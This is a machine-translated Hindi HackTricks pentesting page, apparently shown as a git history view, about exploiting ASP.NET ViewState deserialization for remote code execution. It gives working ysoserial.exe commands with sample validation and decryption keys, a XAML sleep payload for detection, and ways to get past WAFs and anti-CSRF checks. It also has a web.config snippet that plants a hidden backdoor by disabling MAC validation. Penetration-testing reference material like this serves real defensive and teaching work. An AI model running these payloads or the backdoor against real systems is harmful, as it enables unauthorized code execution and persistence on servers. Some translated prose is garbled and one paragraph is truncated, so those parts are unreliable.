hacktricks/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md

237 lines
37 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS की नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की इच्छा है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
2022-04-28 16:01:33 +00:00
2023-11-06 08:38:02 +00:00
- **अपने हैकिंग ट्रिक्स साझा करें, [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके।**
2022-04-28 16:01:33 +00:00
</details>
2023-11-06 08:38:02 +00:00
**इस पोस्ट की सामग्री निम्नलिखित स्रोत से निकाली गई है** [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
# परिचय
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
ASP.NET वेब ऐप्लिकेशन ViewState का उपयोग एक पेज स्थिति बनाए रखने और वेब फ़ॉर्म में डेटा को स्थायी रूप से संचित करने के लिए करते हैं।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
यह सामान्यतः संभव होता है कि एक वेब सर्वर पर कोड चलाया जा सके जहां एक मान्य ViewState जाली बनाई जा सकती है। यह किया जा सकता है जब **MAC सत्यापन** सुविधा को **अक्षम** कर दिया गया हो या जानते हों:
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
* **.NET Framework संस्करण 4.5 से पहले** के लिए **सत्यापन कुंजी और इसका एल्गोरिदम**
* **.NET Framework संस्करण 4.5 या उससे ऊपर** में **सत्यापन कुंजी, सत्यापन एल्गोरिदम, डिक्रिप्शन कुंजी और डिक्रिप्शन एल्गोरिदम** को जानते हों
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
हेरफेर आक्रमणों को रोकने के लिए, .NET Framework वह ViewState को **साइन और एन्क्रिप्ट** कर सकता है जो `LosFormatter` कक्षा का उपयोग करके संकलित किया गया है। फिर यह संकेत सत्यापन मेकेनिज़्म का उपयोग करके हस्ताक्षर की सत्यापन करता है। `ObjectStateFormatter` कक्षा साइन करने, एन्क्रिप्ट करने और सत्यापन करने के कार्य करती है। साइन और/या एन्क्रिप्शन करने के लिए आवश्यक **कुंजी** को संग्रहीत किया जा सकता है **`web.config`** (एप्लिकेशन स्तर) या **`machine.config`** (मशीन स्तर) फ़ाइलों के **`machineKey`** खंड में। यह सामान्यतः उस स्थिति में होता है जब एक ही एप्लिकेशन को सेवा करने के लिए बहुत सारे वेब सर्वर उपयोग किए जाते हैं, जो अक्सर एक वेब फ़ार्म या क्लस्टर में एक लोड बैलेंसर के पीछे होते हैं। निम्नलिखित में एक ASP.NET एप्लिकेशन के एक कॉन्फ़िगरेशन फ़ाइल में `machineKey` खंड का प्रारूप दिखाया गया है जो .NET Framework संस्करण 2.0 या उससे ऊपर का उपयोग करता है:
2021-04-04 23:30:54 +00:00
```markup
<machineKey validationKey="[String]" decryptionKey="[String]" validation="[SHA1 | MD5 | 3DES | AES | HMACSHA256 | HMACSHA384 | HMACSHA512 | alg:algorithm_name]" decryption="[Auto | DES | 3DES | AES | alg:algorithm_name]" />
<machineKey validationKey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" decryptionKey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" validation="SHA1" decryption="AES" />
```
2023-11-06 08:38:02 +00:00
ध्यान देना चाहिए कि जब कॉन्फ़िगरेशन फ़ाइल में `machineKey` धारा परिभाषित नहीं होती है या जब `validationKey` और `decryptionKey` विशेषताएँ `AutoGenerate` पर सेट की जाती हैं, तो **एप्लिकेशन एक क्रिप्टोग्राफिकली यादृच्छिक गुप्त से आधारित आवश्यक मानों को डाइनामिक रूप से उत्पन्न करता है**। एल्गोरिदम भी स्वचालित रूप से चुने जा सकते हैं। वर्तमान में .NET Framework के नवीनतम संस्करण में, डिफ़ॉल्ट मान्यता एल्गोरिदम `HMACSHA256` है और डिफ़ॉल्ट डिक्रिप्शन एल्गोरिदम `AES` है। अधिक जानकारी के लिए [\[13\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.configuration.machinekeysection) देखें।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
# अक्षम ViewState MAC सत्यापन के साथ RCE
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
पहले, `enableViewStateMac` संपत्ति को `False` पर सेट करके **MAC सत्यापन को अक्षम करना** संभव था। माइक्रोसॉफ्ट ने सितंबर 2014 में एक पैच जारी किया [\[3\]](https://devblogs.microsoft.com/aspnet/farewell-enableviewstatemac/) जिससे .NET Framework के सभी संस्करणों में इस संपत्ति को अनदेखा करके MAC सत्यापन को प्रभावी बनाया गया है। हालांकि, हम में से कुछ लोग यह मान सकते हैं कि "_ViewState MAC अब और अक्षम नहीं किया जा सकता है_" [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET), लेकिन **अब भी MAC सत्यापन सुविधा को अक्षम करना संभव है** जब `AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य पर सेट किया जाता है:
```
2021-04-04 23:30:54 +00:00
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
2023-11-06 08:38:02 +00:00
वैकल्पिक रूप से, निम्नलिखित **खतरनाक सेटिंग** को एप्लिकेशन स्तर के `web.config` फ़ाइल में जोड़ने से MAC सत्यापन भी अक्षम हो सकता है:
2021-04-04 23:30:54 +00:00
```markup
<configuration>
2023-11-06 08:38:02 +00:00
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="true" />
</appSettings>
2021-04-04 23:30:54 +00:00
</configuration>
```
{% hint style="danger" %}
2023-11-06 08:38:02 +00:00
जब ViewState MAC सत्यापन अक्षम हो जाता है, तो [YSoSerial.Net](https://github.com/pwntester/ysoserial.net) परियोजना का उपयोग करके `LosFormatter` payloads को ViewState के रूप में उत्पन्न किया जा सकता है ताकि सर्वर पर अनियंत्रित कोड चलाया जा सके।
2021-04-04 23:30:54 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
**.NET Framework** संस्करण **4.5** से **पहले**, `__VIEWSTATE` पैरामीटर **एन्क्रिप्ट किया जा सकता था** जबकि MAC सत्यापन सुविधा अक्षम थी। यह ध्यान देने योग्य है कि **अधिकांश** **स्कैनर** **इस दुर्बलता की पहचान करने के लिए एक अनएन्क्रिप्टेड ViewState पैरामीटर भेजने का प्रयास नहीं करते हैं। इसलिए, `__VIEWSTATE` पैरामीटर को एन्क्रिप्ट किया जाता है तो MAC सत्यापन अक्षम है या नहीं यह जांचने के लिए **मैन्युअल** **टेस्टिंग** की आवश्यकता होती है। इसे `__VIEWSTATE` पैरामीटर में एक छोटी सी यादृच्छिक base64 स्ट्रिंग भेजकर जांचा जा सकता है। निम्नलिखित URL में एक उदाहरण दिखाया गया है:
```
2021-04-04 23:30:54 +00:00
https://victim.com/path/page.aspx?__VIEWSTATE=AAAA
```
2023-11-06 08:38:02 +00:00
यदि लक्षित पृष्ठ **त्रुटि के साथ प्रतिक्रिया करता है, तो MAC सत्यापन सुविधा निष्क्रिय की गई है** अन्यथा यह MAC सत्यापन त्रुटि संदेश को दबा देता होगा।\
हालांकि, ऐसे स्थितियों में जहां आप त्रुटि संदेश नहीं देख सकते हैं, यह तरीका काम नहीं करेगा।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
स्वचालित स्कैनर्स को सर्वर-साइड पर एक छोटी संविलम्ब का कारण करने वाले **पेलोड** का उपयोग करना चाहिए। इसे निम्नलिखित ASP.NET कोड को निष्पादित करके प्राप्त किया जा सकता है, जो एक 10 सेकंड की देरी बनाने के लिए उदाहरण के रूप में कार्य करता है:
```
2021-04-04 23:30:54 +00:00
System.Threading.Thread.Sleep(10000);
```
```bash
string xaml_payload = @"<ResourceDictionary
2023-11-06 08:38:02 +00:00
xmlns=""http://schemas.microsoft.com/winfx/2006/xaml/presentation""
xmlns:x=""http://schemas.microsoft.com/winfx/2006/xaml""
xmlns:System=""clr-namespace:System;assembly=mscorlib""
xmlns:Thr=""clr-namespace:System.Threading;assembly=mscorlib"">
<ObjectDataProvider x:Key=""x"" ObjectType = ""{ x:Type Thr:Thread}"" MethodName = ""Sleep"" >
<ObjectDataProvider.MethodParameters>
<System:Int32>10000</System:Int32>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
2021-04-04 23:30:54 +00:00
</ResourceDictionary>";
```
2023-11-06 08:38:02 +00:00
# RCE ViewState MAC Validation के साथ
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
पुराने संस्करणों (**4.5 से पहले**) में, .NET Framework **`TemplateSourceDirectory`** property [\[15\]](https://docs.microsoft.com/en-us/dotnet/api/system.web.ui.control.templatesourcedirectory) का उपयोग करता है जब एक serialized object को **साइन करता है**. हालांकि, **4.5 संस्करण** से, यह **`Purpose`** strings का उपयोग करके हैश बनाने के लिए करता है. इन दोनों मेकेनिज़म्स **अनुप्रयोग निर्देशिका की जड़ में लक्ष्य पृष्ठ का उपयोग करते हैं**. ये पैरामीटर **URL से निकाले जा सकते हैं**.
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
ऐसे अनुप्रयोग जो **पुराने framework का उपयोग करते हैं** और ViewState एन्क्रिप्शन को लागू करते हैं, वे **एन्क्रिप्शन के बिना साइन किए गए ViewState को भी स्वीकार कर सकते हैं**. इसका मतलब है कि एक वेबसाइट को उत्पन्न करने के लिए **सत्यापन कुंजी और उसकी एल्गोरिदम को जानना पर्याप्त होता है**. लगता है ViewState डिफ़ॉल्ट रूप से एन्क्रिप्टेड होता है **4.5 संस्करण के बाद से** जबकि `viewStateEncryptionMode` property को `Never` सेट किया गया हो. इसका मतलब है कि नवीनतम .NET Framework संस्करणों में **डिक्रिप्शन कुंजी और उसकी एल्गोरिदम भी आवश्यक होते हैं** एक payload बनाने के लिए.
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
ASP.NET ViewState में `ViewStateUserKey` property होती है [\[16\]](https://docs.microsoft.com/en-us/previous-versions/dotnet/articles/ms972969\(v=msdn.10\)) जिसका उपयोग cross-site request forgery (CSRF) हमलों [\[4\]](https://www.owasp.org/index.php/Anti\_CSRF\_Tokens\_ASP.NET) के जोखिम को कम करने के लिए किया जा सकता है. **`ViewStateUserKey`** property की मान (जब यह `null` नहीं होती है**) ViewState साइनिंग** प्रक्रिया के दौरान भी उपयोग की जाती है. यह पैरामीटर की मान न जानने से हमारे हमले को रोक सकती है, **इसकी मान अक्सर कुकीज़ या एक छिपी हुई इनपुट** पैरामीटर में पाई जा सकती है ([\[17\]](https://software-security.sans.org/developer-how-to/developer-guide-csrf) में एक लागू उदाहरण दिखाता है).
2021-04-04 23:30:54 +00:00
2022-05-01 12:41:36 +00:00
## ViewState YSoSerial.Net plugins
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
YSoSerial.Net मास्टर और YSoSerial.Netv2 में आपको एक प्लगइन मिलेगा ([**यह**](https://github.com/pwntester/ysoserial.net/blob/master/ysoserial/Plugins/ViewStatePlugin.cs) और [**यह**](https://github.com/pwntester/ysoserial.net/blob/v2/ysoserial/Plugins/ViewStatePlugin.cs)) जो इस तकनीक का उपयोग करने के लिए जानकारी जब सभी जानकारी उपलब्ध होती है.
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
### **.NET Framework >= 4.5 के लिए:**
2021-04-04 23:30:54 +00:00
```bash
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --validationalg="HMACSHA256" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
2023-11-06 08:38:02 +00:00
### **.NET Framework <= 4.0 के लिए (पुराना):**
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
_यहाँ डिक्रिप्शन कुंजी और उसका एल्गोरिदम आवश्यक नहीं हैं:_
2021-04-04 23:30:54 +00:00
```bash
.\ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "echo 123 > c:\windows\temp\test.txt" --apppath="/testaspx/" --islegacy --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0" --isdebug
```
2023-11-06 08:38:02 +00:00
_विभिन्न गैजेट का उपयोग करने के अलावा, `__VIEWSTATEGENERATOR` पैरामीटर का उपयोग करके **पथ प्रदान करने की बजाय** यह संभव है:_
2021-04-04 23:30:54 +00:00
```bash
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --generator=93D20A1B --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
2023-11-06 08:38:02 +00:00
_यह डिफ़ॉल्ट रूप से ActivitySurrogateSelector गैजेट का उपयोग करता है जो YSoSerial.Net प्रोजेक्ट में ExploitClass.cs कक्षा को कंपाइल करने की आवश्यकता होती है। ViewState payload को भी **एन्क्रिप्ट किया जा सकता है** **WAFs से बचने के लिए जब decryptionKey मान्यता वाला होता है**:_
2021-04-04 23:30:54 +00:00
```bash
.\ysoserial.exe -p ViewState -c "foo to use ActivitySurrogateSelector" --path="/somepath/testaspx/test.aspx" --apppath="/testaspx/" --islegacy --decryptionalg="AES" --decryptionkey="34C69D15ADD80DA4788E6E3D02694230CF8E9ADFDA2708EF43CAEF4C5BC73887" --isencrypted --validationalg="SHA1" --validationkey="70DBADBFF4B7A13BE67DD0B11B177936F8F3C98BCE2E0A4F222F7A769804D451ACDB196572FFF76106F33DCEA1571D061336E68B12CF0AF62D56829D2A48F1B0"
```
{% hint style="info" %}
2023-11-06 08:38:02 +00:00
**नोट:** YSoSerial.Net में उपयोग किए गए गैजेट्स की प्रकृति के कारण, लक्षित ASP.NET पेज हमेशा त्रुटि के साथ प्रतिक्रिया करता है, यहां तक कि जब सर्वर-साइड पर सफलतापूर्वक एक शोषण किया जाता है।
2021-04-04 23:30:54 +00:00
{% endhint %}
2023-11-06 08:38:02 +00:00
### एप्लिकेशन पथ
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
एक मान्य ViewState बनाने के लिए एप्लिकेशन पथ की जड़ खोजना महत्वपूर्ण है, जब तक:
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
* एप्लिकेशन .NET Framework संस्करण 4.0 या नीचे का उपयोग करता है; और
* `__VIEWSTATEGENERATOR` पैरामीटर ज्ञात होता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
निम्नलिखित स्क्रीनशॉट में IIS में पथ पेड़ी दिखाई देती है:
2021-04-04 23:30:54 +00:00
![](https://soroush.secproject.com/downloadable/images/aspnetviewstate/iis.png)
2023-11-06 08:38:02 +00:00
यदि आप IIS में वर्चुअल डायरेक्टरी और एप्लिकेशन शब्दों के बारे में अवगत नहीं हैं, तो आप [\[20\]](https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis) देख सकते हैं।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
उपरोक्त URL के लिए एक ViewState उत्पन्न करने के लिए, `--path` और `--apppath` तर्क निम्नलिखित होने चाहिए:
```
2021-04-04 23:30:54 +00:00
--path=/dir1/vDir1/dir2/app1/dir3/app2/vDir2/dir4
2023-11-06 08:38:02 +00:00
--apppath=/app2/
2021-04-04 23:30:54 +00:00
```
2023-11-06 08:38:02 +00:00
यदि हमें पता नहीं होता कि "app2" एक एप्लिकेशन नाम है, तो हम **प्रयोग और त्रुटि का उपयोग करके URL में सभी निर्देशिका नामों की परीक्षा कर सकते हैं** एक-एक करके, जब तक हम एक ViewState नहीं मिलता जो सर्वर पर कोड को निष्पादित कर सकता है (शायद DNS अनुरोध प्राप्त करके या देरी का कारण बनाकर)।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
### जेनरेटर
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
इस मामले में, `--जेनरेटर` तर्क का उपयोग किया जा सकता है। `--isdebug` तर्क का उपयोग किया जा सकता है ताकि जब `--पथ` और `--apppath` तर्क प्रदान किए गए हों, तो प्लगइन भी वही गणक `__VIEWSTATEGENERATOR` पैरामीटर की गणना करता है या नहीं।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
## पुराने संस्करणों का शोषण
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
इस ब्लॉग पोस्ट को लिखने के समय .NET Framework v1.1 को शोषित करने के लिए कोई गैजेट पहचाना नहीं गया था।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
.NET Framework v4.0 या उससे नीचे का उपयोग करने वाले एप्लिकेशनों को शोषित करने के लिए, YSoSerial.Net v2.0 शाखा [\[21\]](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master/ysoserial.net-v2) का उपयोग किया जा सकता है (यह पहले से ही एक अन्य शोध [\[22\]](https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/march/finding-and-exploiting-.net-remoting-over-http-using-deserialisation/) के हिस्से के रूप में विकसित किया गया था)। हालांकि, इस परियोजना में केवल कुछ संख्या के गैजेट्स का समर्थन होता है, और इसके लिए लक्ष्य बॉक्स में .NET Framework 3.5 या उससे ऊपर स्थापित होना आवश्यक होता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
## **अन्य उपकरण**
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
ऐसा लगता है कि Immunity Canvas, जब ज्ञात होते हैं तो वे वैधीकरण और एन्क्रिप्शन कुंजी का उपयोग करके ViewState पैरामीटर बना सकता है [\[29\]](https://vimeopro.com/user18478112/canvas/video/260982761)। निम्नलिखित उपकरणों को भी यही समय पर जारी किया गया था जब मैं अपना काम प्रकाशित करने के बारे में सोच रहा था, जो काफी आश्चर्यजनक था:
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
* [https://github.com/0xACB/viewgen](https://github.com/0xACB/viewgen) (Python में लिखा गया)
* [https://github.com/Illuminopi/RCEvil.NET](https://github.com/Illuminopi/RCEvil.NET) (.NET में लिखा गया)
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
मुझे लगता है कि ये उपकरण वर्तमान में **.NET के विभिन्न संस्करणों में अंतर नहीं करते हैं** और पुरानी गुप्तिलिपि को लक्ष्य बनाते हैं। इसके अलावा, ये **`ViewStateUserKey`** पैरामीटर का उपयोग नहीं करते हैं जो CSRF हमलों को रोकने के लिए उपयोग में हो सकता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
# अतिरिक्त सुझाव
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
## **GET अनुरोधों का उपयोग**
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
यह संभव है कि आप GET अनुरोध के माध्यम से URL में `__VIEWSTATE` पैरामीटर भेजें। यहां केवल URL लंबाई की सीमा है जो इसका उपयोग कर सकती है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
## **.NET Framework संस्करण 4.5 से पहले एन्क्रिप्शन**
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
पहले ही कहा गया है कि .NET Framework 4.0 और नीचे के संस्करणों (v2.0 से v4.0 पर परीक्षण किया गया) को शोषित करते समय `__VIEWSTATE` पैरामीटर को एन्क्रिप्ट करने की आवश्यकता नहीं होती है, यहां तक कि जब `ViewStateEncryptionMode` संपत्ति को `Always` सेट किया गया हो। ASP.NET यह निर्धारित करता है कि क्या ViewState एन्क्रिप्ट किया गया है या नहीं, अनुरोध में `__VIEWSTATEENCRYPTED` पैरामीटर को खोजकर (इसके पास कोई मान होने की आवश्यकता नहीं होती है)। इसलिए, एक अनएन्क्रिप्टेड ViewStated को भेजने के लिए `__VIEWSTATEENCRYPTED` पैरामीटर को अनुरोध से हटा कर भेजा जा सकता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
यह भी इसका मतलब है कि जब प्रमाणीकरण कुंजी या इसके एल्गोरिदम को बदलने के बावजूद जब जासूसी कुंजी और इसके एल्गोरिदम को चोरी कर लिया गया हो, तो हमलों को रोकने के लिए नहीं रोक सकता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
WAFs को छलने के लिए `__VIEWSTATE` पैरामीटर को एन्क्रिप्ट किया जा सकता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
## **एंटी-CSRF (एंटी-XSRF) मेकेनिज़्म को छलना**
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
जब एक अवैध `__VIEWSTATE` पैरामीटर का उपयोग किया जाता है, तो एक ASP.NET पेज त्रुटि प्रदर्शित करता है। हालांकि, पृष्ठ अपने इनपुट प्राप्त कर सकता है जब कोड के लिए सीधे `Request.Form` का उपयोग किया जाता है, उदाहरण के लिए `Request.Form["txtMyInput"]` का उपयोग करके `txtMyInput.Text` के बजाय। **CSRF हमला उस अनुरोध से `__VIEWSTATE` पैरामीटर को हटाकर या अवैध मान के साथ `__PREVIOUSPAGE` पैरामीटर ज
2021-04-04 23:30:54 +00:00
```markup
<asp:TextBox runat="server" ID="myinput" />
```
2023-11-06 08:38:02 +00:00
जब `__EVENTVALIDATION` पैरामीटर को उपयोग करके अभिक्षम किया जाता है, तो अनुरोध में `__VIEWSTATE` पैरामीटर की मान खाली हो सकती है, लेकिन यह मौजूद होना चाहिए।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
.NET Framework 4.5 और उससे ऊपर का उपयोग करने के लिए `Purpose` स्ट्रिंग का उपयोग करता है जो एक मान्य हस्ताक्षर बनाने के लिए उपयोग किया जाता है, जो पैरामीटर के आधार पर अलग होता है। निम्नलिखित तालिका में .NET Framework में परिभाषित `Purpose` स्ट्रिंग दिखाई गई है:
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
| **इनपुट पैरामीटर** | **Purpose स्ट्रिंग** |
2021-11-30 16:46:07 +00:00
| ------------------------------------------------------------ | -------------------------------------------------- |
| “\_\_VIEWSTATE” | WebForms.HiddenFieldPageStatePersister.ClientState |
| “\_\_EVENTVALIDATION” | WebForms.ClientScriptManager.EventValidation |
| P2 in P1\|P2 in “\_\_dv” + ClientID + “\_\_hidden” | WebForms.DetailsView.KeyTable |
| P4 in P1\|P2\|P3\|P4 in “\_\_CALLBACKPARAM” | WebForms.DetailsView.KeyTable |
| P3 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.SortExpression |
| P4 in P1\|P2\|P3\|P4 in “\_\_gv” + ClientID + “\_\_hidden” | WebForms.GridView.DataKeys |
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
ऊपर दी गई तालिका में सभी इनपुट पैरामीटर दिखाए जा सकते हैं जिन पर निशाना बनाया जा सकता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
## **`__PREVIOUSPAGE` पैरामीटर का सावधान रहें**
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
जब अनुरोध में **`__PREVIOUSPAGE`** पैरामीटर मौजूद होता है और उसमें **अमान्य** डेटा होता है, तो **एप्लिकेशन** **`__VIEWSTATE`** पैरामीटर को **डिसीरियलाइज़** नहीं करता है। `__CALLBACKID` पैरामीटर प्रदान करने से इस व्यवहार को रोका जा सकता है।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
## **त्रुटि की विश्वसनीयता**
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
पहले से बताया गया है कि कभी-कभी हम यह जांचने के लिए त्रुटियों का उपयोग करते हैं कि क्या एक उत्पन्न ViewState मान्य है। ASP.NET एक अमान्य `__VIEWSTATEGENERATOR` पैरामीटर का उपयोग करने पर डिफ़ॉल्ट रूप से MAC सत्यापन त्रुटि नहीं दिखाता है। यह व्यवहार बदल जाता है जब `ViewStateUserKey` संपत्ति का उपयोग किया जाता है, क्योंकि ASP.NET अब MAC सत्यापन त्रुटियों को दबाने की कोशिश नहीं करेगा।
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
इसके अलावा, ASP.NET वेब एप्लिकेशन `ViewStateUserKey` संपत्ति का उपयोग करते हुए भी निम्नलिखित सेटिंग के साथ MAC सत्यापन त्रुटियों को नजरअंदाज कर सकती है:
2021-04-04 23:30:54 +00:00
```markup
<appSettings>
2023-11-06 08:38:02 +00:00
<add key="aspnet:AlwaysIgnoreViewStateValidationErrors" value="true" />
2021-04-04 23:30:54 +00:00
</appSettings>
```
2023-11-06 08:38:02 +00:00
# Web.config को एक पिछवाड़ा के रूप में उपयोग करना
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
यदि हमलावर एक अनुप्रयोग की मूल रूट में **`web.config`** को **बदल सकते हैं**, तो वे सर्वर पर कोड को **आसानी से चला सकते हैं**। हालांकि, एक हमलावर के लिए अनुप्रयोग पर एक छिपी हुई पिछवाड़ा सम्मिलित करना एक अच्छा विकल्प हो सकता है। इसे **MAC सत्यापन को अक्षम करके** और `viewStateEncryptionMode` संपत्ति को `Always` सेट करके किया जा सकता है। इसका मतलब है कि सभी ASP.NET पेज जो `ViewStateEncryptionMode` संपत्ति को `Auto` या `Never` सेट नहीं करते हैं, हमेशा एन्क्रिप्टेड ViewState पैरामीटर का उपयोग करते हैं। हालांकि, **ViewState MAC सत्यापन सुविधा का उपयोग न करने के कारण, वे अब अविश्वसनीय डेटा के द्वारा दूरस्थ कोड निष्पादन के प्रति संवेदनशील हो गए हैं**। निम्नलिखित एक उदाहरण दिखाता है:
2021-04-04 23:30:54 +00:00
```markup
<configuration>
2023-11-06 08:38:02 +00:00
<system.web>
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
<pages enableViewStateMac="false" viewStateEncryptionMode="Always" />
</system.web>
<appSettings>
<add key="aspnet:AllowInsecureDeserialization" value="false" />
</appSettings>
2021-04-04 23:30:54 +00:00
</configuration>
```
2023-11-06 08:38:02 +00:00
एक स्वतंत्र वेबसाइट के लिए एक औपचारिक कुंजी और एल्गोरिदम के साथ `machineKey` खंड सेट करना एक और विकल्प हो सकता है जिससे अन्य हमलावरों को रोका जा सके!
2021-04-04 23:30:54 +00:00
2023-11-06 08:38:02 +00:00
यह ध्यान देना चाहिए कि `EnableViewState` संपत्ति को `False` पर सेट करने से यह हमला रोका नहीं जा सकता है क्योंकि ASP.NET द्वारा अभी भी ViewState को पार्स किया जाएगा।
2022-04-28 16:01:33 +00:00
<details>
2023-04-25 18:35:28 +00:00
